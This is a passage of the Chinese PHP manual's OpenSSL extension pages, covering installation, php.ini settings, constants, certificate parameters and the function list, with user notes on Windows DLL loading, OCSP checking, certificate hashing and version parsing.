$OCSPUrl = 'http://ocsp.url'; //Points to the OCSP URL
// Script:
$a = rand(1000,99999); // Needed if you expect more page clicks in one second!
file_put_contents($dir.$a.'cert_i.pem', $_SERVER['SSL_CLIENT_CERT_CHAIN_0']); // Issuer certificate.
file_put_contents($dir.$a.'cert_c.pem', $_SERVER['SSL_CLIENT_CERT']); // Client (authentication) certificate.
$output = shell_exec('openssl ocsp -CAfile '.$RootCA.' -issuer '.$dir.$a.'cert_i.pem -cert '.$dir.$a.'cert_c.pem -url '.$OCSPUrl);
$output2 = preg_split('/[\r\n]/', $output);
$output3 = preg_split('/: /', $output2[0]);
$ocsp = $output3[1];
echo "OCSP status: ".$ocsp; // will be "good", "revoked", or "unknown"
unlink($dir.$a.'cert_i.pem');
unlink($dir.$a.'cert_c.pem');
?>

It can be ameliorated, but it's just a beginning!

Normally, you can extract the ocsp url from the client certificate. Also, an OCSP request contains only the hash of the issuer name, the hash of the issuer's key, and the serial number of the client certificate. All three can be extracted directly from the client certificate.


简介

本扩展使用 » OpenSSL 库来对称/非对称加解密，以及 PBKDF2、 PKCS7、 PKCS12、 X509 和其他加密操作。除此之外还提供了 TLS 流的实现。

OpenSSL 还提供了更多本模块暂不支持的功能，某些功能以后可能会增加。

User Contributed Notes

gramo dot gnu at gmail dot com 23-Jun-2020 07:47
It is also well accepted the spanish word "codificar" and  "decodificar" as translation of "encrypt" an "decrypt"

English - Spanish
encrypt - cifrar, codificar
encryption - cifrado, codificado
decryp - descifrar, decodificar
decryption - descifrado, decodificado

Please avoid the erroneous word "encriptar" / "desencriptar"
peugnet at mail dot com 09-May-2018 05:45
There is a translation error in the spanish version.
The word "encrypt" should translate "cifrar", not "encriptar"
and "decrypt" should translate "cifrar", not "desencriptar".

Here the correct translations:
english - spanish

encrypt - cifrar
encryption - cifrado
decryp - descifrar
decryption - descifrado


需求

要使用 Open SSL 函数，你必须安装» OpenSSL 库。 PHP 7.0 需要 OpenSSL >= 0.9.8。PHP 7.1-8.0 需要 OpenSSL >= 1.0.1，< 3.0。PHP >= 8.1 支持 OpenSSL >= 1.0.2，< 4.0。

Warning

强烈建议使用维护的 OpenSSL 版本，否则 web 服务器很容易受到攻击。

User Contributed Notes

There are no user contributed notes for this page.


安装

要使用 PHP 的 OpenSSL 支持，你应该使用 --with-openssl[=DIR] 参数来编译 PHP。

OpenSSL 库还在运行时对正常操作有额外的要求。最明显的是，OpenSSL 需要访问随机或伪随机数生成器； 在大多数 Unix 和类 Unix 平台上(包括linux)，意味着它必须要访问 /dev/urandom 或者 /dev/random 设备。

--with-system-ciphers 配置选项可用于设置 PHP 使用系统密码列表，而不是硬编码。

Note: Win32 平台的用户请注意

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libeay32.dll， 或者，自 OpenSSL 1.1 起，为 libcrypto-*.dll

此外，如果打算使用密钥生成和证书签名功能，你需要在你的系统上安装一个可用的 openssl.cnf 文件。 在我们的 win32 二进制发行版本中，我们已经包含了一个示例配置文件，在 extras/ssl 文件夹中。

PHP 将会使用如下逻辑搜索 openssl.cnf 文件:

  • 如果 OPENSSL_CONF 环境变量设置了，该变量将会被当作配置文件的路径（含文件名）。
  • 如果 SSLEAY_CONF 环境变量设置了，该变量将会被当作配置文件的路径（含文件名）。
  • 假设openssl.cnf 文件将会在 openssl DLL 被编译时配置的默认证书区域被找到。这通常意味着默认的文件名是 C:\Program Files\Common Files\SSL\openssl.cnf(x64) 或者 C:\Program Files (x86)\Common Files\SSL\openssl.cnf (x86)，而 PHP 7.4.0之前，则是 C:\usr\local\ssl\openssl.cnf。

在你的安装过程中，你需要决定是否将配置文件安装在默认路径或者使用环境变量(可能是基于每个虚拟主机的基础)来定位配置文件安装到其他地方。注意，可以使用引入配置文件的函数中的 options 参数来覆盖脚本中的默认路径。
Caution

确保无权限的用户无法修改 openssl.cnf 文件。

更新日志

版本 | 说明
7.4.0 | OpenSSL 默认配置文件的路径已经从 C:\usr\local\ssl 分别改至 C:\Program Files\Common Files\SSL 和 C:\Program Files (x86)\Common Files\SSL。

User Contributed Notes

php-net-comment at shaunc dot com 15-Jan-2022 07:08
FreeBSD includes a modern version of OpenSSL as part of its base system, but doesn't appear to have a pkg-config file, so the PHP configure script can't find the libraries. When compiling PHP on FreeBSD, you should define the OPENSSL_LIBS and OPENSSL_CFLAGS environment variables before running PHP's configure. For FreeBSD 12, the following will work:

export OPENSSL_LIBS="-L/usr -lssl -lcrypto -lz" && export OPENSSL_CFLAGS="-I/usr/include" && ./configure --with-openssl [...other configure options...]
vitoandre.doria 21-Jun-2018 06:31
As pointed out here http://php.net/manual/de/reserved.variables.environment.php#98113 make sure that variables_order = "EGPCS" is set in your php.ini (might come without the E flag which means ignore Env variables) otherwise PHP will ignore your Environment variables. This should be part of the documentation btw...
epos_jk 27-Nov-2017 04:26
You dont need to copy files to use OpenSSL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
e.g.
LoadFile "C:/php7/libcrypto-1_1-x64.dll"
LoadFile "C:/php7/libssl-1_1-x64.dll"
LoadFile "C:/php7/libssh2.dll"
epos_jk 27-Nov-2017 04:23
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
anrdaemon at freemail dot ru 08-Nov-2014 11:16
If you want to configure Apache2 under Windows to use OpenSSL - please, for the love of God, do NOT copy around, or even worse - overwrite any DLL's.
First, modern Apache2 is shipped with relevant libraries, second - even if, for some reason, it can't find the right now - you can TELL it to use the right ones.
LoadLibrary.
Yes.
That simple.

LoadLibrary C:/apache2/bin/libeay32.dll
LoadLibrary C:/apache2/bin/ssleay32.dll
LoadLibrary C:/php5/php5ts.dll
LoadModule php5_module C:/php5/php5apache2_4.dll
jaimz at vertigolabs dot org 13-Oct-2014 04:10
I just wanted to point out that when you compile with openssl and you're specifying a directory, the acinclude.m4 and aclocal.m4 use that directory as such:

{your directory}/includes/openssl/{headerfile}

That being said, you want to specify the directory that the includes directory is in, not the specific directory with the header files.

THIS IS WRONG --with-openssl=/usr/local/includes/openssl
THIS IS RIGHT --with-openssl=/usr/local
Alan 11-Oct-2011 11:14
Having recently installed Apache2.2 with PHP 5.2.17 on my Windows 7 development machine, I want to pass along my findings about how to set things up to load the correct versions of the OpenSSL DLLs. Many people have posted elsewhere about the "DLL Hell" that results if the a wrong version is loaded.

First, install Apache 2.2 and check its operation, then download the Windows binaries for PHP from http://windows.php.net/download/. Note that according to the sidebar on that page the recommended version of PHP for use with Apache2 is currently 5.2.17, even though it is back level. Plus, this version comes with all the DLLs you need to use OpenSSL -- no need to recompile as the old PHP man page suggests.

Having verified the PHP installation, turn on the OpenSSL support by uncommenting the line

extension=php_openssl.dll

in php.ini, which you will find in the PHP directory (I'll assume you made that c:/PHP). Next check the location of php_openssl.dll, which you should find in c:/PHP/ext. Also in php.ini find the key extension_dir, and change its value to c:/php/ext. Next, put this location on the end of your PATH (there's no need to reboot).

At this point, when you start Apache it will attempt to load php_openssl.dll, but if your setup is anything like mine you will see an error. I prefer to start Apache manually, and the error appears in a dialog box: "The ordinal 4114 could not be located in the dynamic link library LIBEAY32.dll". (I'm not sure whether you would get this message if you started Apache as a service). The Apache log also contains an error message saying that php_openssl.dll cannot be loaded, though that message doesn't name libeay32.dll. Welcome to DLL Hell.

Libeay32.dll enters the picture because php_openssl.dll depends on it (and also on ssleay32.dll). What I think happens is that Apache first tries to load php_openssl.dll programmatically from the path specified by the extension_dir key. But then, the loading of the so-called dependent DLLs is left to Windows' default mechanism. If Windows finds an incompatible version of a dependent DLL, you get the error.

So clearly the fix is to ensure that the correct version of libeay32.dll is loaded. On my machine, at least three other processes have loaded various versions of this same DLL. They include the Mozy backup client, Windows Explorer (because Mozy installs support in Explorer) and the OpenOffice suite. My machine is quite different in this respect from a dedicated server on which one probably wants as few extraneous processes as possible.  Presumably on a server one can follow advice that suggests copying the dlls to the system32 directory, for example. But I'm not about to mess with my other programs by making system-wide changes.

So what to do? I didn't find the available information on how Windows searches for DLLs to be very useful, mainly because I didn't understand it. But it does say that the first place Windows looks is "The directory from which the application loaded."

To cut to the chase, after a lot of experimentation I came to a key realization -- "the application" is APACHE, not PHP. So I copied libeay32.dll to the Apache2.2/bin directory. Problem solved. No error messages and running phpinfo confirms that OpenSSL is present and enabled.

Good luck, and stay out of DLL Hell.
Fernando rubio 05-Jun-2011 11:20
OpenSSL and IIS

Open php.ini
uncomment the following:
extension=php_openssl.dll

Make sure you have config the following section pointing to your php install directory (in my case is located in a second partition at e:\php) (very recommended practice)

; Directory in which the loadable extensions (modules) reside.
extension_dir = "e:/php/ext"

Add your php directory to the PATH variable

start>run>type cmd
on windows console type:
set PATH=%PATH%;e:\php
(remember replace e:\php with YOUR directory)
(note that using %path% is the same as var+=value, so the directory will be appended at the end of the variable)

php5 come with all the dll in the zip package so if you add the php directory to the path variable, you don't need to move anything to your windows system directory (very safe for later updates, because you just replace the content of your php directory)

After all these step you ready.. but of course you need to restart your IIS to apply changes, so

start>run>inetsrv/iis.msc
right click on your computer
all task>restart IIS

done!
mtudor AT icefusion remove me DOT co uk 24-Oct-2008 04:52
SYMPTOMS AND SETUP
------------------

For anyone having problems enabling the PHP openssl extension on WINDOWS.

I uncommented:  extension=php_openssl.dll  and installed the latest versions of ssleay.dll and libeay.dll in <windows>\system32.

When I restarted my web server and examined phpinfo(), there was no "openssl" headed section (although there were references to openssl in other sections).

I also found this error in my web server logs (<apache dir>/logs/ssl.log and <apache dir>/logs/access.log).

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\Program Files\\PHP\\ext\\php_openssl.dll' - The operating system cannot run %1.\r\n in Unknown on line 0

I have PHP 5.2.6 running on Apache 2.2.3 for Windows.

CAUSE
-----

This was caused by PHP picking up the WRONG VERSIONS of libeay.dll and ssleay.dll, which were present in multiple locations on my computer.

When any application attempts to use a dll file in windows, the system searches for this file using the following order:
   1. The directory from which the application loaded.
   2. The windows\system32 directory.
   3. The windows\system directory.
   4. The windows directory.
   5. The current directory.
   6. The directories that are listed in the PATH environment variable.

   (http://msdn.microsoft.com/en-us/library/ms682586.aspx)

For PHP running under Apache, the application directory is <apache dir>\bin and NOT <php dir>.  PHP was finding OUT OF DATE versions of libeay.dll and ssleay.dll in <apache dir>\bin (probably installed when I enabled SSL support in my web server).  Because of this, the latest versions in windows\system32 were never reached.

NOTE: Although my problem was caused by an Apache2 specific configuration, I can imagine others might face this problem if, say, they install the openssl dlls in the PHP directory and add this directory to the PATH.  I haven't checked it but I would imagine if another directory in the path contains outdated openssl dlls and this is listed before the PHP directory, a similar situation would occur.

SOLUTION
--------

Either replace the dlls in the first location on the search order, or, as I did, you can install the latest openssl dlls in the the windows system32 directory and just rename to .old the ssleay.dll and libeay.dll files in the search order locations before windows\system32.

Hope that helps others who might be stuck with this.

Mark.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

openssl 配置选项
名字 | 默认 | 可修改范围 | 更新日志
openssl.cafile | "" | PHP_INI_PERDIR |
openssl.capath | "" | PHP_INI_PERDIR |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

openssl.cafile string

本地文件系统上证书颁发机构文件的位置， 被用来和对等校验上下文选项一起校验远程对等方的身份。

openssl.capath string

如果没有制定证书颁发机构文件或者证书找不到，将在由capath指向的目录下搜索一个合适的证书。capath 必须是一个正确的已被散列的证书目录。

参见 SSL stream context 选项。

User Contributed Notes

ofrick at bluewin dot ch 14-Aug-2018 08:52
above code should be corrected to:

                    $Destfile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Destfile;
mmi at uhb-consulting dot de 30-Apr-2018 08:20
Hashed directory bedeutet die Dateinamen müssen mit dem Openssl hash, den ihr mittels openssl_x509_parse im Wert hash bekommt (Name) + die Dateiendung 0.
Bei doppelten HASH werten wird die Dateiendung incrementiert.
mmi at uhb-consulting dot de 30-Apr-2018 08:17
in capath the Certificates must be placed with the certificates hash as name and .0 as Ending.

Here is how to get the hashes from Certificates lying in this folder and automatically rename them in a correct way:
<?php
    $paths=openssl_get_cert_locations();
    $allowed=array("cer","crt","pem");
    if (!empty($paths['ini_capath'])){
        $capathDirectory = dir($paths['ini_capath']);
        while (false !== ($entry = $capathDirectory->read())) {
            $Sourcefile=$paths['ini_capath']."/".$entry;
            if (file_exists( $Sourcefile)){
                $path_parts = pathinfo($Sourcefile);
                if (in_array(strtolower($path_parts['extension']),$allowed)){
                    $ParsedCertificatePbject = openssl_x509_parse(file_get_contents($Sourcefile));
                    $Sourcefile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Sourcefile;
                    if (!file_exists($TargetFilename)) {
                        rename ($Sourcefile ,$TargetFilename);
                    }
                }
            }
        }
        $capathDirectory->close();
    }
?>


资源类型

在 PHP 8.0.0 之前，OpenSSL 模块中定义了 3 种资源类型：

  • OpenSSL key
  • OpenSSL X.509
  • OpenSSL X.509 CSR

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Table of Contents

  • 目的检查 flag
  • 非对称加密的填充标志
  • 密钥类型
  • PKCS7 flag/常量
  • CMS Flag/常量
  • 签名算法
  • Ciphers
  • 版本常量
  • Server Name Indication constants
  • 其它常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

User Contributed Notes

There are no user contributed notes for this page.


目的检查 flag

X509_PURPOSE_SSL_CLIENT (int)
X509_PURPOSE_SSL_SERVER (int)
X509_PURPOSE_NS_SSL_SERVER (int)
X509_PURPOSE_SMIME_SIGN (int)
X509_PURPOSE_SMIME_ENCRYPT (int)
X509_PURPOSE_CRL_SIGN (int)
X509_PURPOSE_ANY (int)

User Contributed Notes

There are no user contributed notes for this page.


非对称加密的填充标志

OPENSSL_PKCS1_PADDING (int)
OPENSSL_SSLV23_PADDING (int)
OPENSSL_NO_PADDING (int)
OPENSSL_PKCS1_OAEP_PADDING (int)

User Contributed Notes

There are no user contributed notes for this page.


密钥类型

OPENSSL_KEYTYPE_RSA (int)
OPENSSL_KEYTYPE_DSA (int)
OPENSSL_KEYTYPE_DH (int)
OPENSSL_KEYTYPE_EC (int)
这个常量只有在使用 OpenSSL 0.9.8+ 进行编译时才可用。

User Contributed Notes

There are no user contributed notes for this page.


PKCS7 flag/常量

S/MIME 函数使用通过一个位阈来表示的标志位，该位阈可包含如下一个或多个值：

PKCS7 常量
常量名 | 描述
PKCS7_TEXT (int) | 把纯文本类型的header头添加到加密/签名的消息中。如果解密或者验证，将会从输出中剥离这些header头 - 如果这些被解密或验证的消息不是 MIME 类型的纯文本文件将会导致一个错误。
PKCS7_BINARY (int) | 通常输入消息将被转成以CR和LF作行末的 "canonical" 格式(S/MIME规范中的声明)。当该选项出现时，消息将不会被转化。 当处理非MIME格式的二进制数据时，这个选项会很有用。
PKCS7_NOINTERN (int) | 在验证消息时，在消息中包含的证书(如果有的话)通常会被搜索签名证书。 对于该选项，只有当 openssl_pkcs7_verify() 函数的参数extracerts指定了的证书才会被使用。然而提供的证书仍然被当做不受信任的证书使用。
PKCS7_NOVERIFY (int) | 不要验证签名消息的签名者证书。
PKCS7_NOCHAIN (int) | 不要约束验证签名者证书：不要把签名消息中的证书当做不受信任的证书。
PKCS7_NOCERTS (int) | 在签署消息时，签名者的证书通常包括在内，但是有了这个选项后，就不需要包括证书了。这将会缩小被签名消息的大小，但是验证人在本地必须有可用的签名者证书副本(比如由openssl_pkcs7_verify()函数中的extracerts参数传递) 。
PKCS7_NOATTR (int) | 通常当消息被签名了，一些属性的集合将会包含在内，比如签名时间和支持的对称算法。使用该选项用来设置不包含这些属性。
PKCS7_DETACHED (int) | 当签名消息时，使用 MIME 类型("multipart/signed")的明文签名。如果你为openssl_pkcs7_sign()函数没有指定任何flags，这个将会是默认的值。 如果你关闭这个选项，消息将使用不透明的签名来签名, 这将会使消息更能抵抗邮件中继的翻译，但是不支持 S/MIME 的邮件客户端将不能读取该消息。
PKCS7_NOSIGS (int) | 不要尝试在消息中验证签名
PKCS7_NOOLDMIMETYPE (int) | 自 PHP 8.3.0 起可用。 将 content-type 设置为 application/pkcs7-mime，而不是 application/x-pkcs7-mime 来加密消息。

User Contributed Notes

There are no user contributed notes for this page.


CMS Flag/常量

CMS 函数使用 flag，这些 flag 使用位字段指定，位字段可以包含以下一个或多个值：

CMS CONSTANTS
常量名 | 说明
OPENSSL_CMS_TEXT (int) | 将 text/plain 内容类型标头添加到加密/签名消息中。如果解密或验证，将从输出中去除这些标头；如果解密或验证的消息不是 MIME 类型 text/plain，则会发生错误。
OPENSSL_CMS_BINARY (int) | 通常，输入消息被转换为有效使用 CR 和 LF 作为行尾的"canonical"格式：按照 CMS 规范的要求。存在此选项时，不会发生翻译。这在处理可能不是 CMS 格式的二进制数据时很有用。
OPENSSL_CMS_NOINTERN (int) | 验证消息时，通常会搜索消息中包含的证书（如果有）以查找签名证书。使用此选项仅使用在 openssl_cms_verify() 的 untrusted_certificates_filename 参数中指定的证书。但是，提供的证书仍可用作不受信任的 CA。
OPENSSL_CMS_NOVERIFY (int) | 不验证签名消息的签名者证书。
OPENSSL_CMS_NOCERTS (int) | When signing a message the signer's certificate is normally included - with this option it is excluded. This will reduce the size of the signed message but the verifier must have a copy of the signers certificate available locally (passed using the untrusted_certificates_filename to openssl_cms_verify() for example).
OPENSSL_CMS_NOATTR (int) | Normally when a message is signed, a set of attributes are included which include the signing time and the supported symmetric algorithms. With this option they are not included.
OPENSSL_CMS_DETACHED (int) | When signing a message, use cleartext signing with the MIME type "multipart/signed". This is the default if you do not specify any flags to openssl_cms_sign(). If you turn this option off, the message will be signed using opaque signing, which is more resistant to translation by mail relays but cannot be read by mail agents that do not support S/MIME.
OPENSSL_CMS_NOSIGS (int) | 不要尝试验证消息的签名
OPENSSL_CMS_OLDMIMETYPE (int) | 自 PHP 8.3.0 起可用。 将 content-type 设置为 application/x-pkcs7-mime，而不是 application/pkcs7-mime 来加密消息。

User Contributed Notes

There are no user contributed notes for this page.


签名算法

OPENSSL_ALGO_DSS1 (int)
OPENSSL_ALGO_SHA1 (int)
openssl_sign() 和 openssl_verify() 函数使用的默认算法。
OPENSSL_ALGO_SHA224 (int)
OPENSSL_ALGO_SHA256 (int)
OPENSSL_ALGO_SHA384 (int)
OPENSSL_ALGO_SHA512 (int)
OPENSSL_ALGO_RMD160 (int)
OPENSSL_ALGO_MD5 (int)
OPENSSL_ALGO_MD4 (int)
OPENSSL_ALGO_MD2 (int)
只有在使用 MD2 支持编译 PHP 时，才可以使用这个常量。当在编译 PHP 时需要验证通过 DHAVE_OPENSSL_MD2_H CFLAGP，当编译 OpenSSL 1.0.0+ 版本时需要启用 enable-md2选项。

User Contributed Notes

tim at remitone dot com 11-Jul-2023 10:38
It should be noted that the default signature algorithm used by openssl_sign() and openssl_verify (OPENSSL_ALGO_SHA1) is no longer supported by default in OpenSSL Version 3 series.

With an up to date OpenSSL library, one has to run
"update-crypto-policies --set LEGACY"
on the server where the library resides in order to allow these functions to work without the optional alternative algorithm argument.


Ciphers

OPENSSL_CIPHER_RC2_40 (int)
OPENSSL_CIPHER_RC2_128 (int)
OPENSSL_CIPHER_RC2_64 (int)
OPENSSL_CIPHER_DES (int)
OPENSSL_CIPHER_3DES (int)
OPENSSL_CIPHER_AES_128_CBC (int)
OPENSSL_CIPHER_AES_192_CBC (int)
OPENSSL_CIPHER_AES_256_CBC (int)

User Contributed Notes

There are no user contributed notes for this page.


版本常量

OPENSSL_VERSION_TEXT (string)
OPENSSL_VERSION_NUMBER (int)

User Contributed Notes

sergey dot dryabzhinsky at gmail dot com 27-Oct-2016 02:18
Plase note that these constants show not
the current system openssl library version
but version PHP was compiled with.
fontajos at phpeppershop dot com 23-May-2016 12:02
Fixed version (patch hexdec conversion + version_compare usage)

<?php
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
* @param Return Patch-Part as decimal number for use with version_compare
* @param OpenSSL version identifier as hex value $openssl_version_number
*/
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);
    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',
                                       12=>'l',13=>'m',14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',
                                       22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        $patchlevel_dec = hexdec($openssl_version_parsed['patch'][0]);
        if (!$patch_as_number && array_key_exists($patchlevel_dec, $alphabet)) {
            $openssl_version.= $alphabet[$patchlevel_dec]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.$patchlevel_dec; // ideal for version_compare
        }
    }
    return $openssl_version;
}
?>
fontajos at phpeppershop dot com 03-May-2016 03:46
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
 * @param OpenSSL version identifier as hex value $openssl_version_number
 */
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);

    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',12=>'l',13=>'m',
                                      14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        if (!$patch_as_number && array_key_exists(intval($openssl_version_parsed['patch'][0]), $alphabet)) {
            $openssl_version.= $alphabet[intval($openssl_version_parsed['patch'][0])]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.intval($openssl_version_parsed['patch'][0]); // ideal for version_compare
        }
    }

    return $openssl_version;
}
sebastian.goendoer 19-Aug-2015 08:06
<?php
echo "openssl version text: " . OPENSSL_VERSION_TEXT . "\n";
echo "openssl version number:  " . OPENSSL_VERSION_NUMBER . "\n";
?>

will output something like:

    openssl version text: OpenSSL 1.0.2d 9 Jul 2015
    openssl version number:  268443727

see also: https://wiki.openssl.org/index.php/Manual:OPENSSL_VERSION_NUMBER(3)


Server Name Indication constants

OPENSSL_TLSEXT_SERVER_NAME (int)
SNI 支持是否可用。

Note:

这个常量要求 PHP 是由 OpenSSL 0.9.8j 及以上版本构建的。

User Contributed Notes

There are no user contributed notes for this page.


其它常量

OPENSSL_RAW_DATA (int)
If OPENSSL_RAW_DATA is set in the openssl_encrypt() or openssl_decrypt(), the returned data is returned as-is. When it is not specified, Base64 encoded data is returned to the caller.
OPENSSL_ZERO_PADDING (int)
By default encryption operations are padded using standard block padding and the padding is checked and removed when decrypting. If OPENSSL_ZERO_PADDING is set in the openssl_encrypt() or openssl_decrypt() options then no padding is performed, the total amount of data encrypted or decrypted must then be a multiple of the block size or an error will occur.
OPENSSL_ENCODING_SMIME (int)
表明编码是 S/MIME。
OPENSSL_ENCODING_DER (int)
表明编码是 DER。
OPENSSL_ENCODING_PEM (int)
表明编码是 PEM。

User Contributed Notes

There are no user contributed notes for this page.


密钥/证书参数

相当一部分的 openssl 函数需要密钥或者证书参数。可通过以下途径获取这些参数。

  • 证书

    1. 从 openssl_x509_read() 返回的 OpenSSLCertificate 实例（在 PHP 8.0.0 之前为类型 OpenSSL X.509 的 resource）
    2. 如下格式的字符串 file://path/to/cert.pem；命名文件必须包含一个 PEM 编码的证书
    3. 包含了证书内容的字符串，PEM 编码，应该以 -----BEGIN CERTIFICATE----- 开头。

  • 证书签名请求 (CSRs)

    1. 从 openssl_csr_new() 返回的 OpenSSLCertificateSigningRequest 实例（在 PHP 8.0.0 之前为类型 OpenSSL X.509 CSR 的 resource）
    2. 如下格式的字符串 file://path/to/csr.pem；命名文件必须包含 PEM 编码的 CSR
    3. 包含 CSR 内容的字符串，PEM 编码，应该以 -----BEGIN CERTIFICATE REQUEST----- 开头。

  • 公钥/私钥 Key

    1. 从 openssl_get_publickey() 或 openssl_get_privatekey() 返回的 OpenSSLAsymmetricKey 实例（在 PHP 8.0.0 之前为类型 OpenSSL key 的 resource）
    2. 仅限公钥：OpenSSLCertificate 实例（或在 PHP 8.0.0 之前，OpenSSL X.509 类型的 resource）
    3. 如下格式的字符串 file://path/to/file.pem - 命名文件必须包含 PEM 编码的证书/私钥（必须包含二者）
    4. 包含证书/私钥内容的字符串，PEM 编码，应该以 -----BEGIN PUBLIC KEY----- 开头。
    5. 对于私钥，应该使用array($key, $passphrase) 的语法格式，这里的 $key 代表由file://格式的文件或者文本字符表示的密钥, 而 $passphrase 表示一个包含该私钥的密码的字符串。

User Contributed Notes

There are no user contributed notes for this page.


证书验证

当调用需要验证签名/认证的函数时，ca_info 参数是一个包含可信CA文件的文件夹和文件名的数组。如果文件夹指定了，它应该是能够被openssl命令正确使用的哈希目录。

User Contributed Notes

There are no user contributed notes for this page.


OpenSSL 函数

Table of Contents

  • openssl_cipher_iv_length — 获取密码iv长度
  • openssl_cipher_key_length — Gets the cipher key length
  • openssl_cms_decrypt — Decrypt a CMS message
  • openssl_cms_encrypt — Encrypt a CMS message
  • openssl_cms_read — Export the CMS file to an array of PEM certificates
  • openssl_cms_sign — Sign a file
  • openssl_cms_verify — Verify a CMS signature
  • openssl_csr_export_to_file — 将 CSR 导出到文件
  • openssl_csr_export — 将 CSR 作为字符串导出
  • openssl_csr_get_public_key — 返回 CSR 的公钥
  • openssl_csr_get_subject — 返回 CSR 的主题
  • openssl_csr_new — 生成一个 CSR
  • openssl_csr_sign — 用另一个证书签署 CSR（或者本身）并且生成一个证书
  • openssl_decrypt — 解密数据
  • openssl_dh_compute_key — 计算远程 DH 公钥和本地 DH 密钥的共享密钥
  • openssl_digest — 计算摘要
  • openssl_encrypt — 加密数据
  • openssl_error_string — 返回 openSSL 错误消息
  • openssl_free_key — 释放密钥资源
  • openssl_get_cert_locations — 检索可用的证书位置
  • openssl_get_cipher_methods — 获取可用的加密算法
  • openssl_get_curve_names — 获得ECC的可用曲线名称列表
  • openssl_get_md_methods — 获取可用的摘要算法
  • openssl_get_privatekey — 别名 openssl_pkey_get_private
  • openssl_get_publickey — 别名 openssl_pkey_get_public
  • openssl_open — 打开密封的数据
  • openssl_pbkdf2 — 生成一个 PKCS5 v2 PBKDF2 字符串
  • openssl_pkcs12_export_to_file — 输出一个 PKCS#12 兼容的证书存储文件
  • openssl_pkcs12_export — 将 PKCS#12 兼容证书存储文件导出到变量
  • openssl_pkcs12_read — 将 PKCS#12 证书存储区解析到数组中
  • openssl_pkcs7_decrypt — 解密一个 S/MIME 加密的消息
  • openssl_pkcs7_encrypt — 加密一个 S/MIME 消息
  • openssl_pkcs7_read — 将 PKCS7 文件导出为 PEM 格式证书的数组
  • openssl_pkcs7_sign — 对一个 S/MIME 消息进行签名
  • openssl_pkcs7_verify — 校验一个已签名的 S/MIME 消息的签名
  • openssl_pkey_derive — Computes shared secret for public value of remote and local DH or ECDH key
  • openssl_pkey_export_to_file — 将密钥导出到文件中
  • openssl_pkey_export — 将一个密钥的可输出表示转换为字符串
  • openssl_pkey_free — 释放一个私钥
